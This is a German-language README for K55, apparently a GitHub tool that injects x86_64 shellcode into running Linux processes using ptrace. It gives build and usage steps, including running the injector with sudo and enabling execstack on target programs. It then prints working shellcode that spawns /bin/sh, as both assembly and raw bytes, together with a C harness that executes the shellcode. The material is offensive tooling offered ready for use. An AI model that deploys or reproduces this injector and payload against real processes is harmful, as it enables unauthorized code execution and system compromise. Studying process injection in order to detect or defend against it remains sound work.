
Linux x86_64 Prozessinjektions-Dienstprogramm
(ausgesprochen: "kay fifty-five")
Das K55-Payload-Injektionswerkzeug dient dem Injizieren von x86_64-Shellcode-Payloads in laufende Prozesse. Das Dienstprogramm wurde mit modernen C++11-Techniken sowie einigen traditionellen C-Linux-Funktionen wie ptrace() entwickelt. Der im Zielprozess gestartete Shellcode ist 27 Bytes groß und führt /bin/sh (startet eine Bash-Shell) im Adressraum des Ziels aus. In Zukunft werde ich es Benutzern ermöglichen, eigenen Shellcode über Kommandozeilenargumente einzugeben.
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.shVerwendung: ./K55 <prozess-name>
r-xp- oder execstack-Berechtigungen sein. Test 1) In einem Terminal (K55/ Verzeichnis) ausführen: ./k55_example_process/k55_test_process
Test 2) In einem anderen Terminal den Injektor ausführen: sudo ./K55 k55_test_process
Offensichtlich sind ptrace(PTRACE_POKETEXT...)-Aufrufe nicht die getarntesten. Daher können einige Anwendungen die Wirkung von K55 einschränken. Für Sicherheitstests sollte jedoch execstack für die Zielanwendungen aktiviert werden. Wenn ich zum Beispiel mit gdb teste, würde ich vor der Injektion Folgendes ausführen: sudo execstack -s /usr/bin/gdb. Installieren Sie execstack über den Paketmanager Ihrer Distribution. Für Arch-Linux-Benutzer ist execstack im AUR verfügbar.
Hinweis: Das Folgende ist eine Demonstration. Der Payload-String ist bereits fest in K55 codiert.
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// Shellcode breakdown of the assembly code.
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
MIT Lizenz
Copyright (c) Josh Schiavone